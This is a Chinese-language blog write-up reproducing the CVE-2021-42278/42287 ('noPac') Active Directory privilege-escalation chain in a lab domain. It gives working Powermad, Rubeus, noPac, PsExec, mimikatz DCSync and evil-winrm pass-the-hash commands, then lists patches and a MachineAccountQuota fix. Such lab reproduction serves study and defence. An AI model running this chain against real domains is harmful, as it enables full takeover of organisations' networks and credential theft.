CVE-2021-42287/CVE-2021-42278分析复现
source link: https://antipassion.github.io/2022/03/01/CVE-2021-42287-CVE-2021-42278%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。
- CVE-2021-42278,机器账户的名称一般用
$
结尾,但AD并未对域内机器账户名进行验证。 - CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在
TGS_REP
阶段加密TGS Ticket
时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket
,提供一个属于该账户的PAC
,我们便可得到一个高权限的ST。
攻击流程:
- 首先创建一个机器账户
- 清除机器账户的
servicePrincipalName
属性 - 将机器账户的
sAMAccountName
修改为DC的机器账户名,但不带$ - 使用机器账户的身份请求TGT
- 将机器账户的
sAMAccountName
修改为其他值,不能与DC的机器账户名重复。 - 通过S4U2Self向KDC申请ST
- 拿到高权限ST票据,完成利用。
利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName
修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName
修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。
复现过程:
1.创建机器账户
拿到域成员权限后,利用Powermad.ps1创建机器用户
Import-Module Poweremad.ps1
New-MachineAccount -MachineAccount Nayon
验证是否添加成功
net group "domain computers" /domain
2.擦除SPN记录信息
注册机器账户后,会自动在Nayon$
的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。
Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息
Set-DomainObject "CN=Nayon,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose #擦除SPN服务
此时已将记录清除。
3.修改samaccountname
伪造机器账户名
Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute
samaccountname -Verbose
net group "domain computers" /domain
此时可以看到,我们的Nayon$
用户,在修改了samaccountname
值后,用户名已改为DC
。
4.申请TGT票据
由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据
Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap
注: nowrap 选项,票据不换行,便于我们导出为文件
5.再次修改samaccountname
值
将拿到的票据保存,并继续修改Nayon$
用户的samaccountname
,使其不为DC
Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute
6.借用DC用户的TGT去DC$的ST票据
利用Rubeus实现
Rubeus.exe s4u /self /impersonateuser:"Administrator"
/altservice:"cifs/dc.attack.local" /dc:"dc.attack.local" /ptt
/ticket:xxxxxxxxxxxxxxxxxxxxxxxx
此时已拥有访问dc的共享目录权限。
dir \\dc\c$
自动化实现
使用noPac项目实现:
https://github.com/cube0x0/noPac
项目下载地址,需本地自行编译。
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local
/mAccount test /mPassword test0123 /service cifs /ptt
Psexec方式直接Getshell
若要通过此方式获得shell,在前一步仅获得cifs
服务的权限还不够,我们还需要申请拿到host服务的权限
PsExec64.exe \\dc.attack.local cmd
Dcsync拖取域内所有hash
想要拖取域内hash,我们可以利用漏洞申请ldap
服务的ST票据,PTT加载后,通过mimikatz申请
./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt
拿到hash后利用Evil-Winrm
登陆域控getshell
,当然,此处也可使用impacket
套件。
evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa"
关于漏洞修复
- 安装微软官方的:KB5008602、KB5008380补丁。
- 通过ADSI编辑器将AD域的MAQ配置为0,中断漏洞的利用链。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK